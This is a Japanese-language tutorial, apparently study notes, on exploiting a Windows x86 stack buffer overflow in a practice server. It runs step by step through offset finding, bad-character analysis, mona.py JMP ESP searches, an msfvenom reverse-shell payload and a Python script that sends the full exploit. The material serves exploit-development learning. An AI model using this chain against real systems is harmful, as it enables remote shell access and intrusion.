Slapdash Safeguards

にわか仕込みのセキュリティ

Buffer Overflow 実践ノート

本記事では、Windows x86 スタックオーバーフロー脆弱性の完全な悪用フローを記録する。オフセット特定から最終的な shellcode 実行まで。


前提知識:オーバーフロー時にメモリで何が起きるか

バッファの容量を超えるデータを書き込むと、余分なバイトが高アドレス方向へあふれ出し、スタック上の隣接データを上書きする。最終的には関数のリターンアドレス(EIP)を上書きすることになる。

低アドレス
┌─────────────────┐
│   buffer        │  ← 通常の書き込み領域
├─────────────────┤
│   saved EBP     │
├─────────────────┤
│   saved EIP     │  ← リターンアドレス、ここを上書きすれば実行フローを乗っ取れる
├─────────────────┤
│   ...           │  ← ESP はここを指す(EIP の直後)
└─────────────────┘
高アドレス

EIP を制御できれば、プログラムを任意のアドレスへジャンプさせることができる。


Step 1:EIP のオフセットを特定する

テスト文字列を生成する

msf-pattern_create -l 800

pattern_create が生成するのはランダムな文字列ではなく、3バイトの組み合わせがすべてユニークなシーケンスである:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...

大文字 × 小文字 × 数字のデカルト積で並べられており、任意の 4バイト部分列がシーケンス中に一度しか登場しない。そのため、EIP の値からその位置を逆引きでき、オーバーフローのオフセット量を求められる。

pattern を送信してクラッシュを観察する

プログラムがクラッシュしたら、デバッガで EIP の値を確認する。例:

EIP = 42306142

オフセットを計算する

msf-pattern_offset -l 800 -q 42306142
# [*] Exact match at offset 780

注意:EIP はリトルエンディアンで格納されている。pattern_offset は自動でバイト順を処理するため、レジスタの生の値をそのまま渡せばよい。

オフセットを検証する

payload = b"A" * 780 + b"B" * 4 + b"C" * 16

送信後、EIP が 0x42424242(B × 4)になり、ESP が CCCC 領域を指していれば、オフセットが正しいことを確認できる。

[AAAAAAA···780バイト···][BBBB][CCCC···]
                         EIP   ESP ↑

Step 2:Bad Characters を特定する

プログラムによっては特定のバイトを特殊な意味に解釈し、データを切り捨てたり変形させたりすることがある。こうしたバイトを Bad Characters と呼び、shellcode やリターンアドレスから完全に排除しなければならない。

最も一般的な bad char は \x00(ヌルバイト、文字列を切り捨てる)。

完全なバイト列を生成する

badchars = b"".join(bytes([i]) for i in range(0x00, 0x100))

またはハードコード版:

badchars = (
    b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
    b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
    b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
    b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
    b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
    b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Python の文字列に b プレフィックスを付けると、Unicode テキストではなく生のバイトデータであることを示す。\x?? が 1バイトとしてそのまま送出され、エンコード変換で書き換えられることがない。

送信して分析する

badchars を ESP の後ろに付けて送信し、クラッシュ後に WinDbg でスタックの内容を確認する:

0:008> db esp L40
0149745c  01 02 03 04 05 06 07 08-09 00 a6 00 60 bd a6 00

上記の出力では \x09 の後にデータの異常が見られ、\x0a が bad char と判断できる。順次排除しながら、すべてのデータが正常になるまでテストを繰り返す。

mona.py を使えばこのプロセスを自動化できる(Step 3 参照)。


Step 3:mona.py でリターンアドレスを探す

shellcode は ESP が指す位置に格納されているが、スタックアドレスは実行のたびに変化する(ASLR) ため、ESP のアドレスを直接 EIP に書き込むことはできない。

解決策:アドレスが固定されたモジュール内の JMP ESP 命令を探し、EIP をそこに向けることで間接的に shellcode へジャンプする。

ret → EIP(JMP ESP の固定アドレス)→ JMP ESP を実行 → ESP へジャンプ → shellcode 実行

mona.py のインストール

ダウンロード:https://github.com/corelan/mona

Immunity Debugger の PyCommands ディレクトリにコピーする:

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\mona.py

作業ディレクトリを設定する:

!mona config -set workingfolder C:\mona\%p

モジュールの保護状態を確認する

!mona modules
Module         | ASLR | Rebase | SafeSEH | OS DLL
---------------|------|--------|---------|-------
essfunc.dll    | False| False  | False   | False   ← 理想的なターゲット
kernel32.dll   | True | True   | True    | True

ASLR・Rebase・SafeSEH がすべて False のモジュールを選ぶ。アドレスが静的なため、ジャンプ台として信頼性が高い。

bytearray を生成して bad chars を比較する

!mona bytearray -b "\x00"

テストデータを送信してクラッシュさせた後、ESP のアドレスを使って比較する:

!mona compare -f C:\mona\vulnapp\bytearray.bin -a 0x0190f9c8

mona が問題のあるバイトを出力するので、排除リストに追加して再テストする:

!mona bytearray -b "\x00\x0a\x0d"

Good が出力されるまで繰り返す。

JMP ESP のアドレスを探す

!mona jmp -r esp -cpb "\x00\x0a\x0d"

出力例:

0x625011af : jmp esp | [essfunc.dll] ASLR: False, SafeSEH: False

msf-nasm_shellJMP ESP の機械語を確認してから手動で検索することもできる:

msf-nasm_shell
nasm > JMP ESP
00000000  FFE4    jmp esp
!mona find -s "\xff\xe4" -m essfunc.dll

Step 4:Shellcode を生成する

すべての bad chars を確認した後、msfvenom で shellcode を生成する:

msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.119.120 \
  LPORT=443 \
  -b "\x00\x0a\x0d" \
  -e x86/shikata_ga_nai \
  -f python \
  -v shellcode
オプション 説明
-p ペイロードの種類。shell_reverse_tcp はリバースシェル
-b 排除する bad chars
-e エンコーダ。shikata_ga_nai は最も一般的な x86 多態エンコーダで、単純な bad char フィルタをバイパスするために使う
-f python Python フォーマットで出力

Step 5:Payload を組み立てる

import socket, struct

offset   = 780
jmp_esp  = struct.pack("<I", 0x625011af)   # リトルエンディアンでパック(<I = little-endian unsigned int)
nop_sled = b"\x90" * 16                   # NOP sled
shellcode = b""  # msfvenom の出力を貼り付ける

payload = b"A" * offset + jmp_esp + nop_sled + shellcode

s = socket.socket()
s.connect(("192.168.x.x", 9999))
s.send(payload)
s.close()

NOP Sled について

\x90NOP(No Operation)命令で、CPU は何もせず次の命令へ進む。

JMP ESP の着地点は必ずしも正確ではない。デバッグ環境と実環境のスタックオフセットの微妙なズレ、あるいは shikata_ga_nai などのデコーダが実行時にスタックを動的に書き換えることが原因である。shellcode の前に NOP sled を置くことで着地可能な範囲を広げ、NOP 領域のどこに着地しても shellcode まで滑り込める:

NOP Sled あり:
[padding][JMP ESP][90 90 90 ... 90 90][shellcode]
                   ←── どこに着地しても OK ──→

NOP Sled なし:
[padding][JMP ESP][shellcode]
                  ↑ ここの 1バイト目に正確に着地しなければならない

空間に余裕がある場合は 32〜64 バイトに増やすと安定性が上がる。


全体フローまとめ

1. msf-pattern_create    テスト文字列を生成
        ↓
2. pattern を送信して EIP を観察
        ↓
3. msf-pattern_offset    オフセットを計算
        ↓
4. bytearray を送信      bad chars を逐次特定
   !mona compare
        ↓
5. !mona modules         保護なしモジュールを探す
   !mona jmp -r esp      JMP ESP のアドレスを探す
        ↓
6. msfvenom              bad chars を排除した shellcode を生成
        ↓
7. payload を組み立てて送信   [padding][JMP ESP][NOP sled][shellcode]

よく使うコマンド早見表

コマンド 用途
msf-pattern_create -l <len> cyclic pattern を生成
msf-pattern_offset -q <eip> オフセットを調べる
msf-nasm_shell アセンブリ → 機械語変換
!mona modules モジュールの保護状態を確認
!mona jmp -r esp -cpb "\x00" JMP ESP を探す
!mona bytearray -b "\x00" bad char テスト用バイト列を生成
!mona compare -f <path> -a <esp> bad chars を比較
msfvenom -p ... -b ... -f python shellcode を生成